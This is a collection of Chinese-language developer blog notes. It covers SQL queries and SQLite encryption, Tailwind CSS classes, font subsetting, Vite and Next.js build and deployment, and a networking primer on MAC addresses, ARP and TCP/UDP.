LEFT JOIN（没订单的用户也显示）：

```sql
SELECT u.id, u.name, o.id AS order_id, o.total
FROM users u
LEFT JOIN orders o ON o.user_id = u.id
ORDER BY u.id;
```

分组统计（GROUP BY）

统计每个用户的订单数和总金额：

```sql
SELECT u.id, u.name,
       COUNT(o.id) AS order_count,
       COALESCE(SUM(o.total), 0) AS total_spent
FROM users u
LEFT JOIN orders o ON o.user_id = u.id
GROUP BY u.id, u.name
ORDER BY total_spent DESC;
```

UPSERT（有就更新，没有就插入）

按 email 去重：

```sql
INSERT INTO users(email, name)
VALUES ('a@example.com', 'Alice NewName')
ON CONFLICT(email) DO UPDATE SET
  name = excluded.name;
```

索引（性能相关）

给常查字段建索引：

```sql
CREATE INDEX IF NOT EXISTS idx_orders_user_id ON orders(user_id);
CREATE INDEX IF NOT EXISTS idx_users_email ON users(email);
```

看有哪些索引：

```sql
SELECT name, tbl_name, sql
FROM sqlite_master
WHERE type='index'
ORDER BY name;
```

快速查看“表里有多少行”

```sql
SELECT COUNT(*) FROM users;
SELECT COUNT(*) FROM orders;
```

***

**SQLite 非常适合做“个人私密数据仓库”，但前提是：你必须给它加“锁”（加密 + 操作规范）**。

裸 SQLite ≈ 便携 U 盘

加密 SQLite ≈ 本地密码保险箱

**便携性：完美**

* 一个 `.db` 文件就是全部
* 拷走、隐藏、备份都极其方便
* 不依赖服务、端口、后台进程

**易隐藏：非常强**

* 文件名可以随便改（`data.bin`、`.cache`、`.sys`）
* 放在任意目录
* 不跑服务、不监听端口，**攻击面极小**

**本地安全性**：**取决于你有没有加密**

* **未加密 SQLite**：
  任何人拿到文件 = 直接看明文
* **加密 SQLite**：
  没密码 ≈ 一坨随机噪声

**三种安全等级方案**

方案 1：字段级加密（最低门槛）

用普通 SQLite，但**敏感字段自己加密**。

用 AES / libsodium，存之前加密，读出来再解密。

```sql
INSERT INTO secrets(key, value_encrypted) VALUES (?, encrypt(value));
```

**优点**：简单，不依赖特殊 SQLite 版本

**缺点**：schema / 元数据是明文，容易犯错（忘记加密某字段）

**适合：临时/轻量敏感信息**

方案 2（强烈推荐）：SQLCipher（整库加密）

这是**专业级方案**。**SQLCipher = 加密版 SQLite（行业标准）**

**特点**

整个 `.db` 文件 AES-256 加密，没密码完全打不开，表名 / 索引 / 数据 **全部加密**，被：Signal，WhatsApp，各类密码管理器大量使用

使用体验上，几乎还是 SQLite：

**安全性**：文件被偷 ≈ 没用，只要密码不泄露，安全性很高

**适合：账号密码 / API Key / 私钥 / 个人机密**

方案 3：SQLite + OS 安全（最高）

组合拳：

* SQLCipher（库加密）
* 主密码只存在内存
* 数据库文件权限最小化
* 磁盘再加 BitLocker / FileVault

**这是“本地密码保险箱”级别**

---

---
url: /posts/d9jvvmsz/index.md
---
# TailWind CSS 笔记
## 笔记

Tailwind 的类名大多是 `属性-值` 的形式，响应式/状态前缀放在最前面（例如 `md:text-lg`、`hover:bg-blue-600`）。负值用前缀 `-`（例如 `-mt-4`）。任意值可用方括号：`w-[300px]`。

### 数值

Tailwind 的数字本质是 `rem`，默认用一套 **spacing scale（间距刻度）**，大部分 `p-* / m-* / gap-* / space-x-* / w-* / h-*` 这类后面的数字，默认都来自同一张表：

* 1 个单位 = 0.25rem
* 浏览器默认：`1rem = 16px`
* 所以：`1 = 0.25rem = 4px`
* 于是：`4 = 16px`，`6 = 24px`，`8 = 32px`…

这也是看到 Tailwind 到处都是 4 的倍数的原因：更好对齐、更好排版。

**如果你改了根字号（比如 `html { font-size: 18px }`），那所有 rem 都会跟着变大，这是 rem 的特性**。

`2xl / 3xl / 4xl ...`  是**尺寸档位**”。

`text-2xl` 里的 `2xl` 是**字号档位**

`rounded-2xl` 里的 `2xl` 是**圆角档位**

其它像 `shadow-2xl`、`max-w-2xl`、`gap-2` 等，各自都有自己的表

`text-2xl / text-3xl ...` 字体大小值：

#### text 字号表

| size | rem      | px    |
| ---- | -------- | ----- |
| xs   | 0.75rem  | 12px  |
| sm   | 0.875rem | 14px  |
| base | 1rem     | 16px  |
| lg   | 1.125rem | 18px  |
| xl   | 1.25rem  | 20px  |
| 2xl  | 1.5rem   | 24px  |
| 3xl  | 1.875rem | 30px  |
| 4xl  | 2.25rem  | 36px  |
| 5xl  | 3rem     | 48px  |
| 6xl  | 3.75rem  | 60px  |
| 7xl  | 4.5rem   | 72px  |
| 8xl  | 6rem     | 96px  |
| 9xl  | 8rem     | 128px |

**注意**：Tailwind 还会给每个字号配一个默认 `line-height`。

#### rounded 圆角表

| size                | rem      | px                     |
| ------------------- | -------- | ---------------------- |
| none                | 0rem     | 0px                    |
| sm                  | 0.125rem | 2px                    |
| (default) `rounded` | 0.25rem  | 4px                    |
| md                  | 0.375rem | 6px                    |
| lg                  | 0.5rem   | 8px                    |
| xl                  | 0.75rem  | 12px                   |
| 2xl                 | 1rem     | 16px                   |
| 3xl                 | 1.5rem   | 24px                   |
| full                | —        | 9999px（近似“无限大”） |

### 颜色

颜色格式：`{色系}-{深浅}`

比如：`slate-900`、`blue-500`、`emerald-600`

**色系**：`slate / gray / zinc / neutral / stone / red / orange / amber / yellow / lime / green / emerald / teal / cyan / sky / blue / indigo / violet / purple / fuchsia / pink / rose`

**深浅数字**（默认）： `50 100 200 300 400 500 600 700 800 900 950`
规律：数字越大越深。

* `50~200`：很浅（背景/卡片）
* `400~600`：主色常用（按钮/强调）
* `700~950`：深色（文字/深色背景）

**经验**：**500 是“标准色”**，你想更深用 600/700，想更柔用 400。

**用法**：颜色要跟“属性前缀”配

同一个颜色可以用在不同地方：

* 背景：`bg-slate-50`、`bg-blue-600`
* 文字：`text-slate-900`、`text-white`
* 边框：`border-slate-200`
* 轮廓/焦点环：`ring-blue-400`
* 填充（svg）：`fill-slate-400`
* 描边（svg）：`stroke-slate-400`

**透明度**：`/xx` 或 `opacity-*`

Tailwind 很好用的一点：**颜色后面直接加 `/` 透明度**。

* `bg-black/50`：黑色 50% 透明
* `text-white/80`
* `border-white/10`

这比 `opacity-50` 更常用，因为 `opacity-50` 会让元素**里面的所有内容**也一起变透明。

**也可以直接写自定义颜色**：`[#hex]`

* `bg-[#5E77C8]`
* `text-[#111827]`
* `border-[#E5E7EB]`

也支持 rgb/hsl：

* `bg-[rgb(20,40,90)]`
* `text-[hsl(210,70%,50%)]`

### 主题

`dark:` 是 Tailwind 的\*\*“暗色模式变体”前缀\*\*：当页面处于暗色模式时，这条 class 才生效，用来覆盖默认（亮色）样式。

但是这样就要每个地方都要写两套颜色，每个元素都 `bg-... dark:bg-...` 会很烦。

推荐使用“**语义色 token”**

**思路**：你别在组件里写具体颜色，而是写“语义”：背景、文字、边框、卡片……，然后亮/暗两套在全局一次性定义。

全局 CSS（比如 `assets/css/main.css`）定义语义变量：

```css
:root {
  --bg: 255 255 255;
  --fg: 15 23 42;     /* slate-900 */
  --card: 255 255 255;
  --border: 226 232 240; /* slate-200 */
}

.dark {
  --bg: 2 6 23;       /* slate-950 */
  --fg: 226 232 240;  /* slate-200 */
  --card: 15 23 42;   /* slate-900 */
  --border: 51 65 85; /* slate-700-ish */
}
```

用 Tailwind 的任意值引用：

```html
<div class="min-h-screen bg-[rgb(var(--bg))] text-[rgb(var(--fg))]">
  <div class="border border-[rgb(var(--border))] bg-[rgb(var(--card))] rounded-2xl p-6">
    卡片
  </div>
</div>
```

这样你切换只需要一行：

```js
document.documentElement.classList.toggle("dark")
```

**组件里完全不需要写 `dark:`**。

### @layer utilities

`@layer utilities` 是“定义自定义类名”。区别在于**Tailwind 不是普通 CSS 项目**，它有“分层 + 生成顺序 + purge（删未用样式）”这些机制，所以用 `@layer` 写自定义类，会比随便写一段 CSS 更稳、更可控。

`@layer utilities` 是啥？

Tailwind 把最终 CSS 分成三层（按优先级从低到高）：

1. **base**：全局基础（preflight、`h1` 等基础样式）
2. **components**：组件类（更语义化）
3. **utilities**：工具类（`p-4`、`text-sm` 这类）

**优先级（后者覆盖前者）是 `base` < `components` < `utilities`**。

所以同样的选择器强度下（比如都是 `.xxx`），**utilities 会覆盖 components，components 会覆盖 base**。

`@layer utilities { ... }` 的意思就是：

“我写的这些自定义类，属于 **utilities 这一层**，放到最终 CSS 的 utilities 位置，跟 Tailwind 工具类一起工作。”

当然可以直接写普通 CSS，但 `@layer` 有几个“实际好处”，尤其在 Tailwind 项目里很值：

好处 A：确保**顺序和覆盖关系**正确

Tailwind 很看重“谁最后出现谁赢”。

* 放在 `@layer utilities`：你的类会出现在工具类层，覆盖行为更可预期
* 你随便写：可能被 Tailwind 的生成顺序/导入顺序影响，出现“为什么不生效/为什么被覆盖”的坑

举个直观例子：

```css
/* 如果不在 layer 里，你写的 .btn 可能在文件里很靠前 */
.btn { padding: 16px; }
```

HTML：

```html
<button class="btn p-2">...</button>
```

谁赢？取决于 CSS 里谁后出现、具体性等。而如果你把 `.btn` 放到 `@layer components` 或 `utilities`，你就能**控制它属于哪一层**，从而更稳定地决定“谁盖过谁”。

好处 B：Tailwind 的优化/裁剪（purge）更友好

现代 Tailwind 会根据你项目里用到的 class 生成/保留 CSS。

你用 `@layer` 写的类，属于 Tailwind 管理的体系，通常更不容易出现“构建后丢样式/顺序异常”的奇怪问题（尤其用 `@apply` 的时候）。

纯 CSS 当然不会被 purge “误删”，但在 Tailwind 工作流里，`@layer` 的内容会更符合 Tailwind 的处理方式（尤其结合 `@apply`）。

好处 C：你可以在里面用 `@apply`（这是大头）

Tailwind 的核心“高级用法”之一是：

```css
@layer components {
  .btn {
    @apply rounded-xl px-4 py-2 font-semibold bg-slate-900 text-white hover:bg-slate-800;
  }
}
```

这让你既保留 Tailwind 的可组合性，又能抽出语义类（`btn`），减少模板里一大串 class。

直接写 CSS 也行，但你就要自己写 hover、focus、圆角、间距……而 `@apply` 能把 Tailwind 的现成工具类直接复用。

好处 D：更适合团队协作（约定清晰）

很多团队会约定：

* `@layer base`：放 token（CSS 变量）、全局字体、背景
* `@layer components`：放 `btn/card/badge` 这种语义组件类
* `@layer utilities`：放很小的“语义工具”（如 `.ui-muted`、`.ui-card`）

自定义类具体的层

`@layer base` 放：全局基础、token、重置、默认字体等

```css
@layer base {
  :root { --bg: 255 255 255; }
  html { font-family: system-ui; }
}
```

`@layer components`

放：语义组件类（button/card/input…）

```css
@layer components {
  .btn-primary { @apply ...; }
  .card { @apply ...; }
}
```

`@layer utilities`

放：轻量工具（类似 Tailwind utilities 的辅助类）

```css
@layer utilities {
  .ui-muted { color: rgb(var(--muted)); }
  .ui-card { background: rgb(var(--card)); border: 1px solid rgb(var(--border)); }
}
```

### 继承

子元素**不会继承**父元素的大多数布局类，比如：

* `padding / margin / border / width / height / background` 一般不继承
* 会继承的典型是“文字相关”：`color`、`font-family`、`font-size`、`line-height`、`text-align` 等

所以常见的模式是：

* 父容器设 `text-slate-900`、`font-sans`，子元素默认吃到
* 但父的 `bg-*`、`p-*` 不会跑到子身上

（这也是为什么用 token 时，顶层放 `text-[rgb(var(--fg))]` 很舒服。）

### 媒体查询

**响应式前缀**（breakpoints）直接在类名前加 `sm:` `md:` 这些就行。

Tailwind 默认断点（min-width）

* `sm:` ≥ **640px**
* `md:` ≥ **768px**
* `lg:` ≥ **1024px**
* `xl:` ≥ **1280px**
* `2xl:` ≥ **1536px**

用法就是：**移动端写默认类，往上用前缀覆盖**。

## 布局基础

* `container` — 居中并随着断点调整最大宽度（常用于页面容器）。
  例如：`<div class="container mx-auto">`
* `block` / `inline` / `inline-block` — 显示类型。
* `hidden` — `display: none;`
* `flex` / `inline-flex` — flex 布局。
* `grid` / `inline-grid` — grid 布局。
* `table` / `table-row` / `table-cell` — 表格 display。
* `order-1` / `order-last` — flex/grid 中的项顺序。

## Flex / Grid 常用

* `flex-row` / `flex-col` — 主轴方向。
* `flex-wrap` / `flex-nowrap` — 换行。
* `items-start` `items-center` `items-end` `items-stretch` — 交叉轴对齐（align-items）。
* `justify-start` `justify-center` `justify-between` `justify-around` `justify-evenly` — 主轴对齐（justify-content）。
* `gap-0` `gap-1` `gap-2` `gap-4` `gap-8` — 子元素间距，支持 `gap-x-...` / `gap-y-...`。
* `grid-cols-1/2/3/4/5/6` — 列数（`grid-cols-3`）。
* `col-span-2` / `row-span-1` — 跨列/跨行。
* `place-items-center` / `place-content-center` — 进一步简写对齐。

## 间距（Margin / Padding）

* `m-0` `m-1` `m-2` `m-4` `m-8` 等 — 全边距（单位基于 Tailwind 预设 scale）。
* `mt-4` `mr-2` `mb-6` `ml-3` — 上右下左分别设。
* `mx-auto` — 左右自动（常用于水平居中）。
* `px-4` `py-2` — x/y 方向内边距。
* `-mt-2` `-mx-4` — 负 margin。
* `space-x-4` / `space-y-2` — 同胞元素之间的间隔（flex/grid 时非常常用）。

## 大小（宽高）

* `w-full` / `h-full` — 占父元素全部。
* `w-screen` / `h-screen` — 占可视窗口。
* `w-auto` / `h-auto` — 自动尺寸。
* `w-1/2` `w-1/3` `w-2/3` — 百分比宽度。
* `max-w-xs` `max-w-sm` `max-w-md` `max-w-lg` `max-w-2xl` `max-w-full` — 最大宽度（常用于容器/卡片）。
* `min-h-screen` / `min-w-0` / `max-h-96`。
* 任意值：`w-[300px]`、`h-[50vh]`。

## 排版（Typography）

* `text-xs` `text-sm` `text-base` `text-lg` `text-xl` `text-2xl` `text-3xl` 等 — 字号。
* `font-thin` `font-light` `font-normal` `font-medium` `font-semibold` `font-bold` `font-extrabold` `font-black` — 字重。
* `font-sans` `font-serif` `font-mono` — 字体族（基于 config）。
* `text-left` `text-center` `text-right` `text-justify` — 对齐。
* `leading-none` `leading-tight` `leading-normal` `leading-loose` — 行高（line-height）。
* `tracking-tight` `tracking-wide` — 字间距（letter-spacing）。
* `truncate` — 单行溢出省略号，常配 `overflow-hidden whitespace-nowrap`。
* `whitespace-normal` `whitespace-nowrap` `break-words` / `break-all` — 换行策略。
* `text-gray-700` / `text-white` / `text-red-500` — 文本颜色（颜色系列常见：gray/blue/red/green/yellow/pink/purple/... + shade）。

## 背景与颜色

* `bg-white` `bg-black` `bg-gray-100` `bg-gray-800` `bg-blue-500` 等 — 背景色。
* `bg-gradient-to-r` / `bg-gradient-to-b` + `from-` `via-` `to-` — 渐变背景（例如 `bg-gradient-to-r from-blue-400 to-purple-600`）。
* `bg-cover` `bg-contain` `bg-center` `bg-no-repeat` — 背景图控制。
* 透明度: `opacity-100/75/50/25` 或者颜色斜线写法（在新版本/JIT 下）如 `bg-blue-500/50`（带 alpha）。
* `bg-transparent`。

## 边框与圆角

* `border` / `border-0` / `border-2` / `border-t` / `border-b` — 边框宽度及方向。
* `border-gray-200` / `border-blue-500` — 边框颜色。
* `rounded-none` `rounded-sm` `rounded` `rounded-md` `rounded-lg` `rounded-full` — 圆角。
* `ring-0` `ring-1` `ring-2` `focus:ring-2` `ring-blue-500` — ring（焦点环，常配合 forms/交互）。
* `outline-none` — 去默认外轮廓（注意可访问性）。

## 阴影与效果（Effects）

* `shadow-sm` `shadow` `shadow-md` `shadow-lg` `shadow-xl` — 盒阴影。
* `shadow-none`。
* `filter` `blur-sm` `blur` `grayscale` `sepia` `contrast-125` `saturate-150` 等（需浏览器支持）。
* `mix-blend-normal` / `mix-blend-multiply`。
* `drop-shadow`（更适合图片/图标的阴影）。
* `opacity-75` `opacity-50` — 透明度。

## 定位与层级

* `relative` / `absolute` / `fixed` / `sticky` — 定位模式。
* `top-0` `left-0` `right-0` `bottom-0` / `inset-0` / `inset-y-0` / `inset-x-0` — 定位偏移。
* `z-0` `z-10` `z-20` `z-50` — z-index。

## 溢出与滚动

* `overflow-auto` `overflow-hidden` `overflow-visible` `overflow-scroll`。
* `overflow-x-auto` / `overflow-y-hidden`。
* `scrollbar-hide`（需插件或自定义）。

## 交互、状态类（伪类）

* `hover:` 前缀（如 `hover:bg-blue-600`）
* `focus:`（如 `focus:outline-none focus:ring-2 focus:ring-blue-400`）
* `active:`（如 `active:scale-95`）
* `disabled:` `visited:` `checked:` `first:` `last:` `odd:` `even:` 等
* `group` + `group-hover:` 用于父子联动（例如 `class="group"` 的父元素下 `group-hover:text-white`）。

## 动画与变换（Transform / Transition / Animation）

* `transform` — 启用 transform（有些版本自动启用）。
* `translate-x-2` / `-translate-y-1` — 平移。
* `scale-95` `scale-100` `scale-105` — 缩放。
* `rotate-45` `rotate-90` — 旋转。
* `origin-center` `origin-top-left` — 变换原点。
* `transition` / `transition-colors` / `transition-transform` — 启用过渡。
* `duration-150` `duration-300` — 持续时间（ms）。
* `ease-in` `ease-out` `ease-in-out`。
* `animate-spin` `animate-pulse` `animate-bounce` — 常用内置动画。

## 表单（常用）

* `appearance-none` — 去默认浏览器样式（input/select）。
* `placeholder-gray-400` — placeholder 颜色。
* `focus:ring-2 focus:ring-offset-2 focus:ring-blue-500` — 焦点样式组合（常用于 input）。
* `rounded-full` `px-3 py-2` `border` `w-full` — 常见 input 样式组合。

## 可访问性 & 实用小工具

* `sr-only` — 屏幕阅读器可见、视觉上隐藏（隐藏文本但对读屏器友好）。
* `not-sr-only` / `visible`。
* `cursor-pointer` `cursor-not-allowed` — 鼠标指针。
* `select-none` — 禁止文本选中。
* `pointer-events-none` — 禁止鼠标事件。
* `list-disc` `list-decimal` `list-inside` `list-outside` — 列表样式。

## 响应式前缀（常见断点）

* `sm:` `md:` `lg:` `xl:` `2xl:` — 例如 `md:flex`（中等及以上屏幕显示 flex）。
* 可以组合：`sm:text-sm md:text-base lg:text-lg`。

## 组合/工程化常见写法（快捷记忆）

* `mx-auto` （水平居中）
* `flex items-center justify-between` （水平两端分布且垂直居中，常见 header）
* `px-4 py-2 rounded-md shadow` （简单按钮/卡片基座）
* `grid grid-cols-3 gap-4` （三列网格）
* `w-full max-w-3xl mx-auto` （中间容器）

## 插件/扩展（可能不是默认）

* `prose`（typography 插件，适合论文/文章样式）。
* `line-clamp-3`（文本折叠插件，`line-clamp`）。
* `aspect-w-16 aspect-h-9` / `aspect-video`（长宽比插件）。

> 这些需要在 `tailwind.config.js` 中开启或安装插件。

---

---
url: /posts/djfg80fr/index.md
---
# 单独给几个字体定制一个字体WOFF文件,而不需要使用整个文件
安装**Python**

https://www.python.org/

安装**fonttools**

```sh
 pip install fonttools
```

创建一个`chars.txt`文件写入需要定制的文字

**使用命令**

```sh
pyftsubset 原字体.ttf --text-file=chars.txt --output-file=mini-font.woff 
```

> \[!IMPORTANT]
>
> **首先得有一个完整的字体文件才行**

**Google Fonts**官网：[https://fonts.google.com](https://fonts.google.com/)

---

---
url: /posts/dwfvxlge/index.md
---
# Vite 一些配置
## 把 `react` 和 `react-dom` 单独拆分为 `react-vendor` chunk。

```ts
// vite.config.ts
import { defineConfig } from 'vite'
import react from '@vitejs/plugin-react'

export default defineConfig({
  plugins: [react()],
  build: {
    rollupOptions: {
      output: {
        // 核心包拆分为 react-vendor.js
        manualChunks(id: string) {
          if (id.includes('node_modules/react') || id.includes('node_modules/react-dom')) {
            return 'react-vendor'
          }
        },
        chunkFileNames(chunk) {
          if (chunk.name === 'react-vendor') {
            return 'assets/react-vendor.js' // 固定名称
          }
          return 'assets/[name]-[hash].js'
        }
      }
    }
  }
})
```

**说明**

* **manualChunks**：把 `react` 和 `react-dom` 单独拆分为 `react-vendor` chunk。
* **chunkFileNames**：
  * `react-vendor` 使用固定名称 `assets/react-vendor.js`
  * 其他 chunk 按 Vite 默认 `[name]-[hash].js`
* 其他配置全部保持 Vite 默认行为（业务代码、CSS、静态资源等）。

核心包被单独拆分，文件名固定，其他 chunk 保持哈希。

可以直接部署，Vite 会自动在 index.html 中注入 `react-vendor.js` 的 `<script type="module">`。

---

---
url: /posts/fsfgpi0f/index.md
---
# Next bundle 部署
### 整个 `.next` 都是 bundle 吗？

**不是，但部署时它是“必须整体存在的构建产物”**

* `.next` 里 **同时包含**
  * 客户端 bundle
  * 服务端 bundle
  * 路由 / 预渲染 / chunk 映射等元信息
* **你不能只拷贝其中一部分**

**部署时，`.next` 必须完整存在**

### 部署到服务器要拷贝哪些文件？

标准 SSR 部署（Node 服务器）

你需要拷贝这几个东西到服务器：

```json
.next/              ← 必须
public/             ← 必须（静态资源）
package.json        ← 必须
node_modules/       ← 服务器安装（或本地打包）
next.config.js      ← 如果你有
```

然后在服务器上：

```bash
npm ci --omit=dev
npm run start
```

或：

```bash
npx next start
```

**不需要你自己写 server.js**

不能 `node index.js` 启动，Next **没有给你生成 index.js**

---

---
url: /posts/g6xvqzeg/index.md
---
# 分层模型和应用协议
## 分层模型

### 分层的意义

当遇到一个复杂问题的时候，可以使用分层的思想把问题简单化

比如，你有半杯82年的可乐，想分享给你的朋友王富贵，但你们已经10年没有联系了。要完成这件事，你可能要考虑：

* 我用什么装可乐？

  可能的方案：塑料瓶、玻璃瓶、煤气罐

* 怎么保证可乐始终处于低温？

  可能的方案：保温杯、小冰箱、冰盒

* 如何保证可乐不被运输的人偷喝？

  可能的方案：封条、在上面写「毒药」

* 如何获取王富贵的地址？

  可能的方案：报案失踪、联系私人侦探、联系物流公司的朋友

* 如何运输？

  可能的方案：自行车、汽车、火车、高铁、飞机、火箭

这就形成了一个分层结构

![](https://img.yumgjs.com/2025/10/18/68f3a78354e39.png)

从常理出发，我们可以得出以下结论：

* 每层相对独立，只需解决自己的问题
* 每层无须考虑上层的交付，仅需把自己的结果交给下层即可
* 每层有多种方案可供选择，选择不同的方案不会对上下层造成影响
* 每一层会在上一层的基础上增加一些额外信息

### 五层网络模型

网络要解决的问题是：**两个程序之间如何交换数据**。

这是一个非常复杂的问题，因为两个程序有可能出现在不同的设备上。

面对复杂的问题，可以使用分层的方式来简化。

经过不断的演化，网络最终形成了五层模型：

![1760798667566.png](https://img.yumgjs.com/2025/10/18/68f3a7ce5b5d9.png)

```mermaid

graph LR
    subgraph Questions
        Q1["跟具体应用相关的消息格式?"]
        Q2["如何保证消息的可靠传递?"]
        Q3["如何在互联网中找到对方?"]
        Q4["如何在一个子网中找到对方?"]
        Q5["上面给我的东西如何用信号表示?"]
    end

    subgraph Layers
        L1("应用层")
        L2("传输层")
        L3("网络层")
        L4("数据链路层")
        L5("物理层")
    end

    subgraph Details
        D1["HTTP、FTP、DNS、SMTP、POP3"]
        D2["TCP、UDP"]
        D3["IP、路由器"]
        D4["MAC、交换机"]
        D5["光纤、双绞线、同轴电缆、集线器"]
    end

    Q1 --- L1
    Q2 --- L2
    Q3 --- L3
    Q4 --- L4
    Q5 --- L5

    L1 --- D1
    L2 --- D2
    L3 --- D3
    L4 --- D4
    L5 --- D5

```

#### MAC

**MAC（Media Access Control）地址** 是 **网卡（Network Interface Card, NIC）** 的硬件地址。

它相当于计算机在 **局域网（LAN）** 中的「身份证号码」。

每一张网卡（有线、无线都一样）都有一个全球唯一的标识，比如：

```mathematica
E4-B3-18-9A-7C-11
```

或者：

```makefile
e4:b3:18:9a:7c:11
```

一共 **6 个字节（48 位）**；

前 3 个字节（厂商号）由 IEEE 分配给厂商；

后 3 个字节（设备号）由厂商自己分配；

所以全球范围内几乎不会重复。

比如：

| 前缀     | 厂商   |
| -------- | ------ |
| 00:1A:2B | Intel  |
| 3C:5A:B4 | Apple  |
| 70:85:C2 | Huawei |

**一个局域网的通信过程**

假设现在你有一个小型局域网：

```css
[PC1]──┐
        │
[PC2]───┤───[交换机]───[路由器]───Internet
        │
[PC3]──┘
```

1️⃣ PC1 想发消息给 PC2（同一网段）

* PC1 想要访问 PC2 的 IP 地址（比如 192.168.1.5）；
* 它知道自己的 IP，但不知道对方的 **MAC 地址**；
* 于是它会发送一个 **ARP 请求（广播包）**：

```ruby
目标MAC：FF:FF:FF:FF:FF:FF  ← 广播地址
发送者MAC：E4:B3:18:9A:7C:11
内容：谁是 192.168.1.5？请告诉我你的 MAC！
```

2️⃣ 所有设备都收到广播包

* 交换机会把广播包发给所有端口；

* 每台电脑都收到，但只有 **IP=192.168.1.5 的 PC2** 会回应：

```ruby
  我是 192.168.1.5，我的 MAC 是 3C:5A:B4:1E:22:09
```

3️⃣ 通信建立

PC1 现在在自己的 **ARP 缓存表** 里保存了这条映射：

```ruby
192.168.1.5 -> 3C:5A:B4:1E:22:09
```

之后发数据帧时，就直接用这个 MAC 地址，不再广播。

你可以把 MAC 地址理解为：

| 比喻                     | 说明                                        |
| ------------------------ | ------------------------------------------- |
| **身份证号码**           | 每张网卡一个，全世界唯一（理论上）          |
| **快递收件人姓名**       | 在同一个小区（局域网）里，靠名字（MAC）识别 |
| **邮递员送信时的门牌号** | IP 是「小区名」，MAC 是「门牌号」           |
| **计算机的“指纹”**       | 由厂商刻在网卡里，硬件级别的标识            |

MAC 地址，原则上：每块网卡出厂时写死在芯片（EEPROM）中，称为 **烧录地址（burn-in address）**，理论上唯一、永久不变。

但实际上：你完全可以 **改** 掉它，也叫 **MAC spoofing（伪装）**。

在 Linux 改：

```bash
sudo ip link set dev eth0 address 00:11:22:33:44:55
```

在 Windows 改：

设备管理器 → 网卡 → 高级 → Network Address → 填写新值

修改后系统层会 **覆盖** 硬件 MAC，但实际上网卡 EEPROM 中原始值没变。

**比喻**：

* 出厂 MAC 是“出生时的指纹”；
* 修改后的 MAC 是“戴上了指纹手套”，别人看到的就不一样了，但你原来的指纹还在。

**广播、单播、多播的区别**

| 通信方式 | MAC 目标地址      | 意义                                    |
| -------- | ----------------- | --------------------------------------- |
| **广播** | FF:FF:FF:FF:FF:FF | 发给同一局域网内所有设备（如 ARP 请求） |
| **单播** | 某一台设备的 MAC  | 发给特定设备（如 PC1 -> PC2）           |
| **多播** | 01:00:5E:xx:xx:xx | 发给特定组的设备（如视频会议）          |

**交换机如何“记住”MAC**

交换机会维护一张 **MAC 地址表（CAM 表）**：

| MAC 地址          | 端口号 |
| ----------------- | ------ |
| E4:B3:18:9A:7C:11 | Port 1 |
| 3C:5A:B4:1E:22:09 | Port 2 |

这样当 PC1 向 PC2 发送数据时，交换机直接查表，只发给对应端口，而不是全网广播，提高效率。

#### TCP / UDP

互联网通信分为几层（OSI 七层或 TCP/IP 四层模型）：

| 层级   | 名称           | 举例                         |
| ------ | -------------- | ---------------------------- |
| 应用层 | HTTP、FTP、DNS | 浏览网页、传文件             |
| 传输层 | **TCP、UDP**   | 数据的可靠传输               |
| 网络层 | IP             | 负责路由、寻址（找哪台电脑） |
| 链路层 | MAC、ARP       | 物理连接（找哪块网卡）       |

简单理解：

* IP 解决“**去哪台电脑**”
* TCP/UDP 解决“**怎么传数据**”
* MAC 解决“**怎么在局域网找到它**”

**TCP 与 UDP 的基本区别**

| 特性         | TCP                           | UDP                       |
| ------------ | ----------------------------- | ------------------------- |
| 全称         | Transmission Control Protocol | User Datagram Protocol    |
| 是否面向连接 | ✅ 是（要建立连接）            | ❌ 否（直接发）            |
| 是否可靠     | ✅ 有确认、重传                | ❌ 不保证到达              |
| 数据有序性   | ✅ 有                          | ❌ 无                      |
| 速度         | 慢                            | 快                        |
| 报文大小     | 理论上无限（分片后重组）      | 一般 < 64KB               |
| 适用场景     | Web、文件、邮件               | 视频通话、游戏、广播、DNS |
| 是否流式     | ✅ 是                          | ❌ 否（一次一包）          |

**TCP 的工作原理（有“握手”和“挥手”）**

TCP 是一个“有感情”的协议，通信前要“握手”，通信后要“挥手”：

**三次握手（建立连接）**

```bash
客户端 -> 服务端：SYN=1（我要连接你）
服务端 -> 客户端：SYN=1, ACK=1（我同意）
客户端 -> 服务端：ACK=1（确认）
```

建立连接，双方知道对方已准备好通信。

像打电话：

1. A 拨号说“喂，听得到吗？”
2. B 回应“听得到，你呢？”
3. A 回应“我也听得到，开始聊吧。”

**四次挥手（断开连接）**

```bash
客户端：FIN=1（我要挂了）
服务端：ACK=1（知道了）
服务端：FIN=1（我也要挂了）
客户端：ACK=1（确认）
```

双方都确认数据传输结束，连接关闭。

**比喻**：挂电话时要双方都说“再见”，确保都听清楚再断线。

**TCP 的可靠机制**：TCP 用了很多手段来确保“数据不丢、不重、不乱”：

| 机制                               | 功能                   |
| ---------------------------------- | ---------------------- |
| 序列号（Sequence Number）          | 数据包编号，防止乱序   |
| 确认应答（ACK）                    | 收到数据要回个确认     |
| 超时重传（Timeout Retransmission） | 没收到确认就重发       |
| 滑动窗口（Flow Control）           | 控制发送速率，避免拥塞 |
| 拥塞控制（Congestion Control）     | 避免网络堵塞           |

**UDP 的工作原理（无连接、轻量级）**

UDP 就是个“甩手掌柜”：

* 不建立连接；
* 直接把数据塞给 IP 层；
* 不关心是否送达；
* 不关心顺序。

UDP 报文结构：

```
| 源端口 | 目标端口 | 长度 | 校验和 | 数据内容 |
```

**没有握手，也没有重传。**

**比喻**：

* TCP 像快递：收发前签合同、每个包有编号、丢了补发；
* UDP 像广播电台：直接喊话，听到算你运气好。

**TCP 与 UDP 的典型应用场景**

| 应用                 | 协议 | 原因                     |
| -------------------- | ---- | ------------------------ |
| HTTP / HTTPS（网页） | TCP  | 必须可靠、完整           |
| FTP（文件传输）      | TCP  | 文件不能少一字节         |
| SSH（远程登录）      | TCP  | 必须顺序正确             |
| DNS（域名解析）      | UDP  | 一问一答、快             |
| 视频通话 / 直播      | UDP  | 即使掉一帧也要快         |
| 网络游戏             | UDP  | 延迟更敏感，容忍少量丢包 |
| 局域网广播           | UDP  | 一发多收，不需确认       |

**比喻总结**

| 比喻     | TCP              | UDP                 |
| -------- | ---------------- | ------------------- |
| 类比     | 打电话           | 寄明信片 / 广播喊话 |
| 建立连接 | 先打招呼再说话   | 直接喊话            |
| 可靠性   | 确认每句话都听到 | 不管听没听到        |
| 顺序性   | 有编号           | 无编号              |
| 延迟     | 较高             | 极低                |
| 应用     | 网页、文件、SSH  | 语音、视频、游戏    |

**简单例子**

你访问网站 `https://example.com`：

1. 你的浏览器先通过 **DNS（UDP）** 问：“example.com 的 IP 是多少？”
2. DNS 服务器返回 IP。
